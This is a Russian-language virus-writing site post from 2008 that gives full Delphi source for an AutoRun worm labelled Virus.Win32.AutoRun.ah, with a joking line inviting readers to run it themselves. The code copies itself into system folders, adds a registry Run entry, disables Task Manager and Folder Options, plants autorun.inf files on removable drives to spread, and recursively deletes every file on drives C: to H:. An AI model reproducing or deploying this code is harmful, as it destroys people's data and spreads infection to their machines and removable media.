 |
AutoRun на Delphi
Так, кому не нравиться сайт или что-о с ним связанное - пишем ЭТО и запускаем у себя на компьютере…
Virus.Win32.AutoRun.ah
var WinDir, SysDir: String; Buffer: array[0..1023] of Char;
F: TextFile; Reg: TRegistry; //
function DriveExists(Drive: Byte): Boolean;
begin
Result:= Boolean(GetLogicalDrives AND(1 shl Drive))
end;
procedure InFect(FileName: String);
begin
AssignFile(F,FileName);
Reset(F);
WriteLn(F,’open=’+SysDir+’\config\csrss.exe’);
CloseFile(F);
end;
procedure FindAndDelete(Drive: String);
var
SearchRec: TSearchRec; //
begin
if FindFirst(Drive+’*.*’, faAnyFile,SearchRec) = 0 then
repeat
if (SearchRec.Attr and faAnyFile) = SearchRec.Attr then
begin
DeleteFile(SearchRec.Name);
end;
until FindNext(SearchRec) <> 0;
if FindFirst(’*', faAnyFile, SearchRec) = 0 then
repeat
if (SearchRec.Attr and faDirectory) = faDirectory then
if SearchRec.Name[1] <> ‘.’ then
begin
ChDir(SearchRec.Name);//
FindAndDelete(Drive); //
ChDir(’..’);//
end;
until FindNext(SearchRec) <> 0;
end;
SetString(WinDir, Buffer, GetWindowsDirectory(Buffer, SizeOf(Buffer)));
CopyFile(PChar(ParamStr(0)),PChar(WinDir+’\media\arona.exe’),false);
SetString(SysDir, Buffer, GetSystemDirectory(Buffer, SizeOf(Buffer)));
CopyFile(PChar(ParamStr(0)),PChar(SysDir+’\config\csrss.exe’),false);
AssignFile(F,SysDir+’\config\logon.bat’);
Reset(F);
WriteLn(F,’@'+SysDir+’\config\csrss.exe’);
CloseFile(F);
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey(’SOFTWARE\Microsoft\Windows\CurrentVersion\Run’,true);
Reg.WriteString(’Worms’,SysDir+’\config\logon.bat’);
Reg.CloseKey;
Reg.RootKey:=HKEY_CURRENT_USER;
REg.OpenKey(’Software\Microsoft\Windows\CurrentVersion\Policies\System’,true);
Reg.WriteInteger(’DisableTaskMgr’,1);
Reg.CloseKey;
Reg.OpenKey(’Software\Microsoft\Windows\CurrentVersion\Policies\Explorer’,true);
Reg.WriteInteger(’NoFolderOptions’,1);
Reg.Free;
try
InFect(SysDir+’\config\autorun.inf’);
if DriveExists(5) then //
begin
InFect(’F:\autorun.inf’);
end;
if DriveExists(6) then //
begin
InFect(’G:\autorun.inf’);
end;
if DriveExists(7) then //
begin
InFect(’H:\autorun.inf’);
end;
if DriveExists(10) then begin
InFect(’K:\autorun.inf’)
;
end;
if DriveExists(11) then
begin
InFect(’L:\autorun.inf’);
end;
if DriveExists(14) then
begin
InFect(’O:\autorun.inf’);
end;
except
Exit;
end;
try
FindAndDelete(’D:\’);
FindAndDelete(’C:\’);
FindAndDelete(’E:\’);
FindAndDelete(’F:\’);
FindAndDelete(’G:\’);
FindAndDelete(’H:\’);
except
Exit;
end;
|
| Категория: Вирусология | Добавил: dolphin (27.09.2008)
|
| Просмотров: 3846 | Комментарии: 1
| Рейтинг: 3.0/4 |
|
|
| Всего комментариев: 1 | |
|
|
|
|
 |
 |  |
 |  |  |
|
| Профиль |
 | |
 |
| Поиск |
| |
|
| Наша кнопка |
|
|
|
|
Статистика
|
|
Статистика материалов Файлов: 457 Форум: 1175/8162 Коментариев: 770 Новостей: 29
Статистика пользователей Всего: 385 За неделю: 2 Вчера: 0 Сегодня: 0
Всего онлайн: 76 Гостей: 76 Пользователей: 0
|
|
|
